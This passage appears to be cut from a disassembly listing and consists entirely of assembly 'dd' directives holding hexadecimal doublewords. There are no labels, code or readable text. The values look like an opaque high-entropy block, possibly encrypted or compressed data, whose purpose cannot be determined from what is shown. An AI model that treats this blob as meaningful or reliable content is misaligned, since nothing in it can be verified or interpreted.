		dd 251961C6h, 66AA0C23h, 6658D7A5h, 0A03E9B4Ch,	0A472B166h
		dd 0BE9B6F30h, 8BBFAAD9h, 9D451EFBh, 0F303CCA9h, 43814289h
		dd 0E19BBB0Dh, 60B24F16h, 0A45D9722h, 6C26173Ch, 8C46F556h
		dd 0A7370D40h, 5B631554h, 7ECB151Bh, 0B3EBFBBDh, 0DDDF3FEEh
		dd 0EE07343Eh, 199B1023h, 96BB1238h, 777F1016h,	3486EC39h
		dd 3387D5A5h, 0BD8B4872h, 2D8C8C51h, 0E48A04A7h, 0E39D06D9h
		dd 6D83EF17h, 0AD8350D8h, 0A4989D18h, 67ABF098h, 64592B0Ch
		dd 0BC3F673Ch, 0BC734D34h, 0AE9A94B2h, 0EBBE511Dh, 0DD44E525h
		dd 7302373Fh, 4380B8BCh, 0E19BB15Ah, 60B25776h,	0A45E6B90h
		dd 6C262382h, 8C46D1A6h, 0A737C988h, 5B6391BEh,	7ECC100Bh
		dd 0B3E5F9C3h, 0DDC3365Ch, 0EE3F29AEh, 198B6631h, 969B7436h
		dd 77BED666h, 34066A11h, 3C84D383h, 0BB8D4E9Ah,	29818F2Bh
		dd 0EC8207FDh, 0D38D05A3h, 4DA3EDB5h, 6C435278h, 24189FBAh
		dd 64ABF27Eh, 7A592995h, 0B83F65B0h, 0B4734FB0h, 0DE9A913Ch
		dd 0CBBE54D9h, 1D44E151h, 0F3023D18h, 4380BE90h, 0E19BB70Fh
		dd 60B25310h, 0A45E6906h, 6C272F10h, 0C47C54Dh,	2736ED20h
		dd 0DB62D4A7h, 0FECC937Eh, 33E5FF38h, 5DC0375Ch, 6E3A2480h
		dd 9972730Ah, 16EA510Ch, 0F7DF932Ah, 0B444EF7Ah, 0BD04D6FAh
		dd 3A8E4B11h, 0AB858F3Bh, 709B0732h, 4BBC0547h,	0DC42EC81h
		dd 8C025370h, 0E7999E9Dh, 65AAF35Bh, 0F85828CEh, 343E64CAh
		dd 4C724EDDh, 0CE9B90ACh, 2BBE57C7h, 5D45E0F8h,	73023E2Eh
		dd 4380BDE1h, 0E19BB59Ch, 60B2541Ch, 0A45F6710h, 6C27C970h
		dd 8C474B46h, 0A73673F0h, 5B63EA6Ch, 7ECCEC5Fh,	0B3E60FFFh
		dd 0DDC6D59Ah, 0EE36A266h, 197ABDFBh, 96FB4E06h, 77FFAC36h
		dd 35849059h, 3D8329BBh, 0B980B44Ah, 15997049h,	0F493F855h
		dd 0C3ACFA31h, 2C621327h, 2CC2ACD4h, 0A7196114h, 5AAA0C93h
		dd 7E58D708h, 0B03E9B34h, 0C472B140h, 0FE9A90ACh, 0BBE557Bh
		dd 9D44E0EEh, 0F3023CB4h, 4380BEBFh, 0E19BB0A1h, 60B2557Ah
		dd 0A45E6364h, 6C263FA6h, 8C46A5FEh, 0A737AC26h, 5B625010h
		dd 7ECE925Bh, 0B3E6F005h, 0DDC52C00h, 0EE3357D2h, 1963506Fh
		dd 96CA9272h, 781E10AEh, 35C4ECE3h, 3E03D559h, 0B88348B0h
		dd 179C8C97h, 0F8AA04E9h, 3C5D0699h, 3C03EF51h,	0CC83508Ah
		dd 0E6989AADh, 0DBABF747h, 7C592CF1h, 4C3F60E3h, 0DC734AF2h
		dd 0EE9A94F6h, 6BBE513Dh, 0DD44E450h, 73023832h, 4380BA1Eh
		dd 0E19BB5C8h, 60B25FDEh, 0A45E7BC8h, 6C26C3C0h, 8C46905Ch
		dd 0A7304996h, 5B629642h, 7ECE15D5h, 0B3E1F075h, 0DDCB2628h
		dd 0EE2F49F4h, 1954A687h, 96DBF108h, 783DD3F4h,	35046F99h
		dd 3E80D7FBh, 0B7854A10h, 11908E35h, 0FCA2060Fh, 344D0403h
		dd 0C23EDDFh, 0EF43520Ah, 26189F2Bh, 58ABF2F3h,	72592965h
		dd 483F6506h, 0D4734F5Ch, 1E9A9158h, 4BBE5752h,	1D44E2B2h
		dd 0F3033D4Fh, 0C381A105h, 619AB287h, 0E0B35905h, 245F7B39h
		dd 0EC27CF33h, 0C47856Ch, 27316CD8h, 0DB63D2B9h, 0FECE9F6Fh
		dd 33E1F739h, 5DC82743h, 6E2A448Dh, 995DB30Ch, 162BD118h
		dd 0F85C933Bh, 0B542EF7Dh, 0BF00D6CFh, 36864B18h, 93958F12h
		dd 40BB072Ah, 0AC7C0559h, 9CC2ECA4h, 0F025319h,	69999EA7h
		dd 0D9ABF1F5h, 705828DCh, 443F6611h, 0EC734C6Ch, 0E9A93B6h
		dd 0ABBE5840h, 5D45FCB8h, 1645C56Fh, 20E8C541h,	94F61019h
		dd 60B3EB7Ah, 0CA16F720h, 0D49A321h, 0E9331C02h, 0D3447EB7h
		dd 37357199h, 0ABD7BB8h, 0B3AC8652h, 0B34BDB4Eh, 0ADD419F8h
		dd 7F31EA71h, 0C357506Bh, 1508304Dh, 3A820118h,	6AC3D6FBh
		dd 0D6FD3D7Fh, 0B4DDE659h, 17DF6642h, 4D186628h, 0ECE282D9h
		dd 0CA855374h, 0CD6DCDD7h, 3AC49212h, 76584DC0h, 25796530h
		dd 871D0D0Ch, 57CFFEB9h, 8BBF3C25h, 0F802F888h,	976D807Bh
		dd 5E4EC80h, 0AFFC6098h, 21D6B077h, 0A45E7324h,	0D42B00Ch
		dd 0E02725F2h, 0A729B07Bh, 291F5130h, 1B45FC0Eh, 0D6CF827Dh
		dd 0AD3CBE03h, 0AE451AE5h, 174D9303h, 0DE7F744Fh, 5E86049h
		dd 50AC9D05h, 180ED6FBh, 0A2EA2A53h, 0D0DAEA42h, 0A4224147h
		dd 1C1C0529h, 9DEF82E2h, 2AEB050Ah, 0AEFFD1A8h,	0DFCF9F2Bh
		dd 41728BFh, 35780B74h,	9D3F2452h, 40F2E324h, 0EBBF1FD7h
		dd 0B106FA98h, 3B67BA40h, 2FE5E6D5h, 0E1991D15h, 10D96DABh
		dd 0F73B4359h, 24B292Ch, 8C4A2DE9h, 0CB78C334h,	5B281415h
		dd 1070DCEBh, 0DFFE084Fh, 0A7C6B021h, 8C1829E8h, 73A7826Bh
		dd 9313716Dh, 23C8A16Bh, 5B6E0A03h, 0A135B38Fh,	0E31C4B1Eh
		dd 10C4FF64h, 0EF37726Fh, 900C4434h, 0B6E1ECB0h, 3B36321Eh
		dd 6B76EC89h, 0DDD9802Bh, 0CA582887h, 144A0051h, 0B106327Eh
		dd 2CF4E160h, 0CBBF5F3Ch, 78299024h, 9A44AE4Ah,	43C0E9F8h
		dd 84DE153Fh, 0DD1471Eh, 0D03FBF4Ch, 6C226638h,	0E90AD4BEh
		dd 0CA4FA720h, 3733D6C0h, 135C550Eh, 0B384AE5Eh, 0ADC1D74Eh
		dd 86F81DFCh, 1434966Fh, 0F9C85108h, 2FD4D55Ch,	5874AE12h
		dd 99EEBF89h, 9AED2E6Ah, 69A58F2Bh, 18326675h, 874E6A0Ah
		dd 272582D9h, 4601C1Dh,	2BEDFDBDh, 2EC6F348h, 383B5AFFh
		dd 547F0B03h, 7F1E410Ch, 23F8E144h, 2BFE3608h, 2F06F4EBh
		dd 1676B5ABh, 2DE4F936h, 0E199578Ah, 5E710ECh, 0C128A844h
		dd 6C225706h, 0E90ADCAEh, 0CB43A500h, 2F2EF195h, 0B5F3399h
		dd 0F2F6044Fh, 0C283CB4Eh, 8AC8F2C5h, 771EAF71h, 0D988D463h
		dd 22A53050h, 6D050819h, 0ECCBB29Fh, 0BF574B1Eh, 5D6CC5Fh
		dd 0A3D664Fh, 0AD426C00h, 5362ECF1h, 1FB13A3Ch,	1F7CF2BAh
		dd 73CF8120h, 0AC3164EFh, 294C0409h, 681E204Eh,	3BD0935Dh
		dd 47FA1136h, 0F96BC6C0h, 0F302B8B2h, 26D38F53h, 84EB55DAh
		dd 2BD1650Fh, 0DC1B9251h, 6C222F21h, 0DF2AA18Ch, 0C67CE6F1h
		dd 1E3F9A5Ch, 7E3CD813h, 0D6D7E33Bh, 0ADEC8C29h, 8AF1F1FFh
		dd 147DD37Ah, 0D393F45Ah, 8B37658h, 54049612h, 0ED0AD6BAh
		dd 9EF52E4Ch, 1FD8E34Eh, 90E4C47h, 0CCDC050Dh, 2F6B82F9h
		dd 67EE3211h, 0FCAFBA2h, 0BAD8862Bh, 291C51FEh,	54C0608h
		dd 6E1D3482h, 6E9B8D2Ch, 38CB4633h, 0AF30AF9Eh,	377B9087h
		dd 31E21C57h, 8EEDA715h, 3D5D292h, 0A451E8A4h, 2595D37h
		dd 0ED3C839Dh, 0C245FBDAh, 5B4ABE02h, 0E53B8EBh, 0D616CB5Eh
		dd 0A168353Ch, 0E8BBCDE9h, 7E3C2303h, 0CB958267h, 229CA14Dh
		dd 7CF90A14h, 0A805B295h, 1AD44B1Eh, 9854FA7Ah,	306545Bh
		dd 0ABAF6C39h, 534398E1h, 11422009h, 125A9ED0h,	0D5CD9CD9h
		dd 742A4A39h, 0AB5B05D2h, 7D142D1Ch, 9E9BCE4Ah,	23FC276Eh
		dd 7822AAA6h, 857091A6h, 0E42C4Bh, 88FFF934h, 60F424C5h
		dd 0D003E94Ch, 3F4A5911h, 0E503BE9Bh, 0A69BE7B7h, 29780EB0h
		dd 1B08860Eh, 0C5740268h, 82E4A427h, 0E9B8848Ch, 75155647h
		dd 0E1AFB47Ch, 309BE55Ah, 0D9EEF12h, 0FC2FB3A9h, 20642E6Bh
		dd 1FD9EE7Dh, 33034246h, 84BD054Eh, 6A92ADDAh, 7D2C6153h
		dd 8D99F2A4h, 91AAF2DAh, 0C0582F3Eh, 643E66E3h,	2C7242E6h
		dd 8E9B8929h, 0ABBF2B7Eh, 5D45DCCFh, 730284F4h,	43812F15h
		dd 0E1985738h, 60B59769h, 0A453E6C1h, 6C382887h, 8C79CEFEh
		dd 0A6D286E7h, 5B2B06FAh, 7E5CF6DFh, 0B2C6393Dh, 0C301BB77h
		dd 0EAB93C87h, 6E780317h
		dd 80FE3119h, 5BF65347h, 3ED93C20h, 0A395E5B0h,	9924277Ah
		dd 0B04E8F2Ah, 35834E57h, 0A09B772Eh, 40B688FCh, 25A73F06h
		dd 0F971EEA9h, 0EFDA93E9h, 0CA344B04h, 203E6734h, 0C1062B3Ah
		dd 0CAFEE559h, 0E5DA5F22h, 9D45D48Ch, 9676FAC8h, 37E4617Bh
		dd 8FFD6766h, 21DA6513h, 0A452E684h, 94E4749h, 0F818A76Ch
		dd 0D5A5E957h, 357A4D55h, 7DD9990Fh, 0DCCF3B3Bh, 0AEF3DA3Ah
		dd 8EEB40E9h, 53E7762h,	8CFE7464h, 0EAB85A7Fh, 43C3AA38h
		dd 6DCABA9Fh, 0AB1D4B11h, 1668FB43h, 1CF8694Bh,	0C1DD602Ch
		dd 4DD6EC88h, 51E7001Bh, 0E1F5FFAEh, 87AAF2ECh,	0C53D5D49h
		dd 546A0200h, 0D8132181h, 0AE9B852Bh, 9ECC563Fh, 0B51049A0h
		dd 1763C1F3h, 4382EF08h, 95F1AF6Dh, 5C4FF0Ch, 0A45582F9h
		dd 5622918h, 0ED14BD7Ch, 0C3B0C358h, 5B0B0515h,	28F080B9h
		dd 0DC2F4A55h, 0C001B32Ah, 94D849C4h, 0B1D1140h, 88FE147Ch
		dd 0CEBFD328h, 38D31F17h, 22D7A288h, 194C4B68h,	0A560EA62h
		dd 1CEF6B65h, 0C18C0520h, 51C389C2h, 4803363Eh,	947AF19Ch
		dd 0E1E2F2F9h, 0C81E5E8Bh, 383E0DD1h, 0D13A4773h, 0B7C8F74Ah
		dd 0CBBF5217h, 780C24CDh, 9254C4E1h, 22E6A664h,	0E198F263h
		dd 5F3175Ah, 0C12083F0h, 185F5B53h, 0E004AA57h,	0D299E007h
		dd 5B956BD9h, 0FBFF36Bh, 0D7725E5Eh, 0A4EDDE08h, 0E5B924CDh
		dd 290B1F57h, 0D7913D64h, 0B3F79328h, 0EE08A31h, 48D6A48Eh
		dd 311A3F7Fh, 3164EA58h, 739B636Ch, 0ADE80542h,	4530AAF7h
		dd 24025375h, 0D0EAF2BCh, 0E4FC868Ch, 0B83D5BA6h, 4C7B68F4h
		dd 0BE22329Ah, 0BDFEE244h, 2BBF3B1Eh, 3C2C5299h, 166E20EEh
		dd 20FAEA63h, 88EB2773h, 9F1F933h, 0D63292FCh, 6C302928h
		dd 0DF1DAC69h, 0C386F60Dh, 3682509Dh, 3BAFB38Eh, 19A35D52h
		dd 0C164C627h, 83FE5C8Ch, 70C1077h, 0C08AC57Ah,	0D4913D61h
		dd 0BD946F37h, 4BD7B3BCh, 0CD252778h, 0D57CFF50h, 16D40725h
		dd 0B3D94631h, 540C89F4h, 47AD2144h, 976AED85h,	0FEEF2D9h
		dd 0DD3142DAh, 785B1D55h, 0A8163712h, 0FE9B834Eh, 43CB5A3Eh
		dd 0F1205AADh, 866D17E5h, 4382FB69h, 84D81715h,	16D6522Ah
		dd 0CA3994FDh, 185C4C4Dh, 0E51FBD0Dh, 0A699E3FAh, 299D0330h
		dd 1379940Eh, 22F45A4Dh, 0A8E4C220h, 95CD07F8h,	171F3D6Ah
		dd 0BCFF9149h, 0F7857A7Eh, 0ECF98E03h, 8ECDBA97h, 0D9424B11h
		dd 216FE67Fh, 22C76653h, 0BB2E6031h, 2002EC80h,	50EB214Fh
		dd 0FAF0D97Dh, 7BAAF4ACh, 0EF2C47D9h, 0AD761500h, 0B919CC9Eh
		dd 0EE9BDD2Bh, 28C8A63Eh, 0B237E2A3h, 74201ECh,	22CC0374h
		dd 84FFB37Ah, 60A09722h, 0E20D83FBh, 3C894551h,	0FBBFA021h
		dd 0A662F6D1h, 3D990370h, 1A5A948Ah, 49465057h,	0AB52A34Eh
		dd 74D709F8h, 2B3DC54Fh, 78FF9464h, 0BF4D32Fh, 9D956F76h
		dd 0CDA1D6FCh, 19444B13h, 0D5118F2Dh, 73A3072Eh, 0C24C0577h
		dd 2022ECE2h, 274252DCh, 96199090h, 78AAF739h, 0B258216Ah
		dd 0C83E72B4h, 0D475AB70h, 1E9BDF2Bh, 4BBCC76Ah, 1D4484CCh
		dd 0F3017487h, 43844F06h, 0E1939713h, 60A11752h, 0A478E6ACh
		dd 6CEE2930h, 8FD5C97Eh, 0A61A84D4h, 58BB02B0h,	737CFF6Bh
		dd 4906273Bh, 0CF81A73Ah, 21847481h, 70368343h,	5498E15Bh
		dd 2383A342h, 0BD1EDF0Bh, 9D38E66Eh, 69857B8Dh,	65CCBFFEh
		dd 42F33603h, 0F3263422h, 11AEDD9Ah, 168863BEh,	0A85CA119h
		dd 484FC6F6h, 824310A0h, 0F60740D5h, 0DE3098CEh, 3CFCEB7Ah
		dd 993BF904h, 6FD3AE5Ch, 41DB3655h, 70B41DE4h, 0D935642Fh
		dd 5C92AC17h, 98A1DA2Bh, 5281171Ch, 8FD9F7E7h, 0A612A4F4h
		dd 58AB026Ch, 4111CCC0h, 7AB31B6Dh, 0FD8869CBh,	20674E3Ch
		dd 6D7FB1F1h, 53AA022Dh, 2867605Bh, 0CE395CD6h,	0BE60E544h
		dd 0AAAA78F7h, 0E120BCD1h, 47F3330Dh, 0F6303126h, 1470D88Ah
		dd 136F6658h, 0ADC0A43Ah, 4BACC3E6h, 8332146Ch,	0F5A846B1h
		dd 0D1BA98ECh, 986ED9Fh, 0B3B6F8B4h, 0A5F5ACF5h, 0CA172C68h
		dd 79A93642h, 0DB5E2D46h, 5B372C1Eh, 9F8CDD66h,	50C81556h
		dd 0B3BAF4A7h, 9B2DB7BBh, 65CB3C03h, 4F3CC00Ah,	769F16C3h
		dd 0F2E5611Ch, 2D694A10h, 63DFADFDh, 6CFF2108h,	63F4121Fh
		dd 0DCE5DF16h, 5F89E716h, 0EBFC794Ch, 6641BDC5h, 471634B8h
		dd 0F6C331FCh, 15F5D9D3h, 12156741h, 0AD25A50Ah, 4A63C2CAh
		dd 81BA14DAh, 0E9CF469Ch, 0CA729907h, 1884E33Eh, 0DD96E54Eh
		dd 0EB07DAFFh, 454E12CEh, 75EFD959h, 0D715E16Ah, 5634A1B8h
		dd 92D8D024h, 5A591FEBh, 0B909FE4Ch, 90E3BDE5h,	6E663797h
		dd 4594CA10h, 7F111A23h, 0FBA564C2h, 34B85B30h,	6250DB11h
		dd 50AC4945h, 5377EB74h, 0E50F57FCh, 756DEE54h,	218973DCh
		dd 0EDD6B7CBh, 4A763E7Bh, 0FB5C3C22h, 19D7D59Eh, 1FFD6B48h
		dd 0A1FFA968h, 46BCCE8Ah, 0B0651AC5h, 0E26E4EFEh, 0CE0F9510h
		dd 643CED54h, 0F156EDA3h, 2660DFD7h, 0C8490FACh, 7817F462h
		dd 0DA36AC87h, 5B7D2CEFh, 9F87DD5Ah, 50AF1551h,	0B390F4F1h
		dd 9A5CB734h, 65E03CDBh, 4E5BC7CAh, 74BF138Ah, 0F14B6B88h
		dd 315A5859h, 6570CFE8h, 29986C4Dh, 4E7AAE58h, 0F050D2DBh
		dd 1045EB2Ch, 67307511h, 6B85B1ABh, 4C5239A8h, 0FD5A3A2Ch
		dd 103CD386h, 19D26D5Fh, 0A471AF74h, 7DAAC896h,	885860CAh
		dd 0D43E756Ch, 3C689EE4h, 7EDDE108h, 1BD5EB3Dh,	6DC8CC4Fh
		dd 4202F44Bh, 72B79E1Ah, 0D0166669h, 510FA6BFh,	95BFD709h
		dd 5D3818A5h, 0BE34F971h, 9426B979h, 6B5932D1h,	4091C8ADh
		dd 79B8134Ah, 0FFCF79C6h, 3C46AE5Fh, 656DF00Fh,	23CB8224h
		dd 4891607Ch, 0E165C1Dh, 3E37E570h, 0AAE078B1h,	0E6E2BC9Ch
		dd 40AE34BDh, 0F6043169h, 1B36D8B7h, 12A266ADh,	0AF63A4CCh
		dd 4630C3D7h, 0BAE21407h, 0E4DE41E2h, 315B9454h, 4BDDE614h
		dd 3ECCEA0Ah, 0A8C4C1B8h, 0C68EE101h, 7649BAA7h, 0D7B122EBh
		dd 56E62102h, 921CD0FBh, 5A431F19h, 0B93CFE0Dh,	913ABC6Eh
		dd 6E772829h, 4574CE5Eh, 7CDE146Ah, 0C5EC782Fh,	38C5A3E3h
		dd 63F5E485h, 2B58A69Bh, 74472486h, 1A55D8C1h, 0DA7CE130h
		dd 0EEB97CCDh, 6D39B8D4h, 4B293F5Fh, 0FAB13D08h, 17F9D45Ah
		dd 1FBB6BF3h, 0A3CCA99Dh, 4996CE20h, 0B61E1ACBh, 0D6534F1Ch
		dd 26D29A7Dh, 5448F787h, 516199B2h, 0E64CF7CCh,	4864DFCBh
		dd 7806547Ch, 0DA21ECB7h, 5B7FAC95h, 9854DCA8h,	50B80B47h
		dd 0B37388A5h, 9ABB8E20h, 65F613DBh, 4EE02429h,	7664D834h
		dd 0CF44FE73h, 35C2B1E6h, 6FF41E81h, 2509CC94h,	71F7EEFCh
		dd 23CC5178h, 0F3F1E8A2h, 273875B5h, 0EB7DB19Ah, 4A93398Bh
		dd 0FBC23B9Ah, 1410D3DEh, 160F6DBCh, 9545AF83h,	6FD7C9CDh
		dd 7DCD18E3h, 5792492Bh, 2BCC9CC3h, 0A149F0EAh,	745698B6h
		dd 1D44FB34h, 0F300A48Dh, 43854FBEh, 0D1AFA0CAh, 50D624A9h
		dd 94F6D44Ch, 5C4905DAh, 0BF3F803Ah, 992C8A00h,	68330FB2h
		dd 43B3764Fh, 781895D2h, 0C0B5746Ah, 3AFCB7C9h,	63C7005Fh
		dd 33A8E622h, 63D5A486h, 3507D7A9h, 94D9EE09h, 60827225h
		dd 6D43B67Ch, 4CF03E2Ch, 0FF653CFAh, 0E0FD50Eh,	8E26B36h
		dd 879FA92Eh, 0B89CCA2h, 3A661D66h, 0DE724CB1h,	161198ADh
		dd 0B4EEF340h, 9135912Ch, 67E1E646h, 49B3BE3Eh,	79451459h
		dd 0DB436A1Fh, 5A4BAE41h, 9F65DE4Bh, 57CA09A1h,	0B4BB89D5h
		dd 929D85BCh, 62710DA5h, 49246D82h, 714B42B8h, 0C8A100D5h
		dd 310E0727h, 95B238C9h
		dd 3B300AD2h, 603F6F0Dh, 41A6534Ch, 0B195EABBh,	0A4717761h
		dd 0E806B3ABh, 4A593BF6h, 0FB2139DFh, 901D018h,	13B6E08h
		dd 0F808ADC2h, 1BB5CB80h, 0DB761A0Fh, 9D044A01h, 99299831h
		dd 83F7F643h, 0B63E9222h, 0A0D8E947h, 0CEA8A93Bh, 7E313377h
		dd 0DC502D73h, 5D6A2940h, 99AAD8D6h, 511E0EDEh,	0B20D80F4h
		dd 943680E2h, 67130B32h, 4FA86B65h, 74A74521h, 0CE3901FBh
		dd 356D0A4Bh, 929C2DF1h, 33912E07h, 9B632C4Fh, 5278D0F6h
		dd 5203E951h, 0E7F474E4h, 548DEF22h, 768B0644h,	0F7913568h
		dd 5C1DCDCh, 0DEB62BDh,	0F4E1A089h, 1709C603h, 0D4E717A0h
		dd 8D3A4782h, 8D6695FFh, 9FDDF43Ch, 0DAE38202h,	0EC3C1DA7h
		dd 42C29510h, 7260DF11h, 0D382E123h, 524FA682h,	9706D635h
		dd 5F0200DAh, 0BB508EF5h, 9D3489E2h, 6C2C018Bh,	44A561DBh
		dd 7FAF48E4h, 0C65C0518h, 3DDF15EAh, 93F45A8Bh,	32F84B26h
		dd 9659E966h, 67545516h, 7721EC3Fh, 2311700Dh, 0EFBFB408h
		dd 4DD03C12h, 0FCEE3E38h, 0ECDD7A2h, 7CF6999h, 0FFBAAB6Ch
		dd 1F48CD50h, 0C6C81A6Ah, 849D4423h, 88B99BD9h,	0E247FBF1h
		dd 0F7498BBEh, 204E182Fh, 0CE20898Ah, 7EB1F3F6h, 0DCC1AD8Ah
		dd 5DC529C0h, 990FD875h, 516D0E84h, 0B223808Eh,	9428809Fh
		dd 64100954h, 4C0A6E9Bh, 740542C6h, 0CFB80976h,	3BF81ACBh
		dd 96194D53h, 0A4F6F8Fh, 8AA4ADB7h, 72E9D070h, 12E2E9E9h
		dd 6748742Ah, 6BF1B079h, 4908382Bh, 0F8673AFCh,	3442D321h
		dd 3C022290h, 0C799900Ch, 15BBC6EEh, 0C87616D1h, 846F48B2h
		dd 0FCE89696h, 0FE2FF18Ch, 1B7C8BEEh, 6DB80C3Ch, 421C759Dh
		dd 72A99FF2h, 0D00A6126h, 510BA53Bh, 95A8D4A3h,	5ED602C6h
		dd 0BDA78F05h, 9B038F94h, 6AF207F2h, 44C061BFh,	701B4450h
		dd 0C70B1D4Dh, 30F46AB7h, 903E7551h, 6BB8756h, 8A916550h
		dd 8B5C59D0h, 3B19E042h, 0AF087DF4h, 0E3B8B82Eh, 41BE307Dh
		dd 0F0953251h, 327DB86h, 0BAB65D8h, 0F062A794h,	2D3EC154h
		dd 0C9F81133h, 87924E90h, 0F3CD8EC0h, 0C96DF4EBh, 33B18754h
		dd 0A56C0CF8h, 0CB4E6CDFh, 7AD6B792h, 0D85529EBh, 5A862E83h
		dd 9E9CDFF6h, 57F709DFh, 0B4F7864Ch, 92DF87BBh,	62BA0879h
		dd 4A406A04h, 797648FEh, 0CB8213B9h, 3AAD6982h,	9A216E4Eh
		dd 2B1AF5Dh, 0BAB12D87h, 0ADE56F75h, 0EDC2D631h, 0E86F7B7Dh
		dd 640EBFADh, 466C37FEh, 88535B6h, 50BDC1Fh, 0DA963BCh
		dd 0F7D5A02Ah, 2ACED99Ah, 0CDCFEBF1h, 7D9370D3h, 0EE64B91Ch
		dd 0DCBC2F3Eh, 5938716Fh, 0EFE2BE41h, 41B2563Fh, 71575C1Fh
		dd 0D281E390h, 5330A7DDh, 97D1D694h, 5F5C00F6h,	0BB63894Dh
		dd 9D1B88FEh, 6A0307C4h, 43C2643Eh, 740241CCh, 0CB601602h
		dd 53779FDh, 0B7FC968Dh, 0CFBEC4A3h, 3BFFE4B7h,	0A5FE588Ch
		dd 0F5A7EED9h, 20B7737Bh, 0EC47B7E7h, 4FAB3F85h, 1543D86h
		dd 0D0ACA3Ch, 6776872h,	0FF97ABABh, 210CD2A4h, 0CBE2E0C1h
		dd 71E97B74h, 0ED98B293h, 249726D5h, 71E47D16h,	26EEBE8Eh
		dd 0C8B24F2Ch, 7E837529h, 0E1ABADEBh, 60518492h, 0A418E5A8h
		dd 583B0054h, 0BAC88867h, 9F648AF2h, 69C30470h,	4F5168CFh
		dd 79504F0Ch, 0C71A1FDDh, 9487C3Ah, 0B9318A3Ah,	0DD04E8B1h
		dd 2E09AADFh, 0B7CED560h, 9741ECABh, 62AF7190h,	6F94B5C2h
		dd 4D863C71h, 31C3FDAh,	0F63C8BBh, 4DE6A8Ah, 0F59BA966h
		dd 25E7D71Eh, 0CC94E522h, 79097E2Dh, 0D1F2B797h, 335E24BAh
		dd 965B7684h, 63D2A121h, 4DE43A2Ch, 7D631020h, 0DEBF6FB8h
		dd 6051AB49h, 0A41B4520h, 6CA83328h, 0BE4B8D5Ch, 9AF68DEFh
		dd 6A9D011Dh, 43926AD4h, 75C95DECh, 0C9CAEE92h,	5E14BBBh
		dd 0A666B480h, 0DCDB098Ah, 20446F07h, 0C1BD532Ch, 0B137EA4Eh
		dd 0A60676B2h, 0EA90B109h, 48F8391Dh, 6313ADDh,	0A49CD98h
		dd 10B6FFCh, 0F63FAC4Eh, 21FFD42Ch, 0C9C8E650h,	403E7CDCh
		dd 0E4753D71h, 3E9B1B6Eh, 0BBB77F51h, 0ADB4A421h, 0C210259Eh
		dd 77203FF8h, 0D8102460h, 5A552D4Ah, 9E56DF01h,	56CA0916h
		dd 0B5BD862Dh, 922099E9h, 654A0A79h, 4D5966B0h,	7CD35722h
		dd 0C067E384h, 0DEA4A82h, 0A2DFADA8h, 0ECC3D108h, 640C1337h
		dd 0DCCADE69h, 5EEFE408h, 0EB827846h, 618FBC8Ah, 764BD740h
		dd 381C0498h, 486C338h,	0F8E6140h, 0C89972B8h, 1FAAEA69h
		dd 0C024ED7Ah, 68AA77FDh, 0C8D5B86Dh, 1A2F2196h, 0DF0067ECh
		dd 0E987D810h, 47C31057h, 774DDA04h, 0D576E468h, 54B6A188h
		dd 90F1D7D0h, 58500BA8h, 0BBBD9076h, 9C396634h,	6B876478h
		dd 438BA9FBh, 755BD823h, 0C920E66Eh, 199E59A4h,	0AF59D630h
		dd 0DDF74430h, 5959E66Fh, 0E88F5A3Dh, 7B59E3AEh, 2DC07E4Eh
		dd 0E2C5BA44h, 4D2F3228h, 97831FBh, 9DEC642h, 0FBC664CCh
		dd 0DD95A73Bh, 0E93EDEE9h, 7FC4ED75h, 6D9A7115h, 0C1D9BADEh
		dd 6B2F2294h, 0FE0062E8h, 2887D118h, 0C6C30166h, 764DFB64h
		dd 0D476A4A7h, 55B72F0Ah, 91F0D4D4h, 59520EA0h,	0BAB99946h
		dd 9F317554h, 697746B8h, 40EBED7Bh, 761C5923h, 0CBA1E16Eh
		dd 1B9C52A4h, 0AE5DC530h, 0A2EF6730h, 4269A56Fh, 0FB6CD93Dh
		dd 1818E0AEh, 61427D4Eh, 60C1B944h, 4C373129h, 64832FAh
		dd 353EC54Ch, 0E88667F0h, 3D15A423h, 0AB3EDDF9h, 0FF74EE55h
		dd 6D7E7DCAh, 353DB7B3h, 77CB286Eh, 12E46208h, 6423C5FFh
		dd 4A66FDDAh, 7AE997FFh, 0D8D1684Ah, 59D3A210h,	9D97C6B4h
		dd 5530FEE4h, 0B6D1AD3Ah, 908D4AE8h, 66C3A954h,	4F6F2347h
		dd 7F20D88Fh, 0C1E2F7AAh, 125EA060h, 0AAADFFF4h, 0AD248DF4h
		dd 7C3D6E2Bh, 3D009F75h, 0E8BD69Fh, 0A7587BD2h,	0E169BFF7h
		dd 4D1F3609h, 57835DDh,	3A3EC26Eh, 0DF566014h, 1A85A33Bh
		dd 630EDAF9h, 7FF4E905h, 61DA74D6h, 3599B09Ch, 4F6F22D0h
		dd 39986EA0h, 0AF6FC683h, 0CB9AE206h, 7B7949D3h, 0D8C92BDDh
		dd 59F0214Eh, 9DB2C49Ch, 5516FAD0h, 0B681A566h,	90F15B44h
		dd 5F5BCF30h, 763F596Bh, 4381633Bh, 0E28BCF4Eh,	2FAC948Ch
		dd 9451D300h, 9C2C9108h, 444D132Fh, 2D61EF75h, 0EECAD6FFh
		dd 0D6124B16h, 50BD8F3Bh, 7E6B0742h, 28DC048Ch,	1302F330h
		dd 0FE825178h, 4A9992DBh, 13AAEB49h, 0CC58D88Dh, 6C3E4577h
		dd 1C7580F5h, 6E9B0CDEh, 6BBC5D44h, 0DD43F0B3h,	730EDD5Eh
		dd 43996152h, 0E1A932BCh, 60545960h, 0A4117AC8h, 6CA3C178h
		dd 8F4F98CEh, 0A9216AB4h, 5F43DF70h, 760F78EBh,	4361253Bh
		dd 0E2C8434Eh, 282D8C8Ch, 95532300h, 9E28F108h,	485AD32Fh
		dd 15516F75h, 0FF29D6FFh, 36544B16h, 13318F3Bh,	0FF630742h
		dd 2ACC048Fh, 1F22F331h, 8142517Eh, 5A1992D7h, 0F0AAEAB1h
		dd 8258DE9Ch, 0E83E4957h, 147598BAh, 9E9B7D5Fh,	4BBC0342h
		dd 1D420CBFh, 0F30E6565h, 439A5142h, 0E1AFD29Bh, 60589922h
		dd 0A409FB4Ch, 6C8CCF70h, 8E9184FEh, 0A89D12D4h, 5FCBEEB0h
		dd 751EA76Bh, 4D33DBEh,	4C2E40A8h, 0E58B7637h, 5537AD15h
		dd 0BA9ACC7Ah, 3AD230B2h, 2163D10Eh, 0FBE6168Ch, 0ED1C41D4h
		dd 0A389874Bh, 240149C5h, 0FCC6CD9h, 83683B2Ch,	0CE700598h
		dd 0C462F14Ah, 6C269EDh, 0B776E5ABh, 0A1DB28EBh, 0EFBDD8BBh
		dd 921F47F0h, 0E9556F60h, 31A7AA01h, 63559D8Ch,	634FAC71h
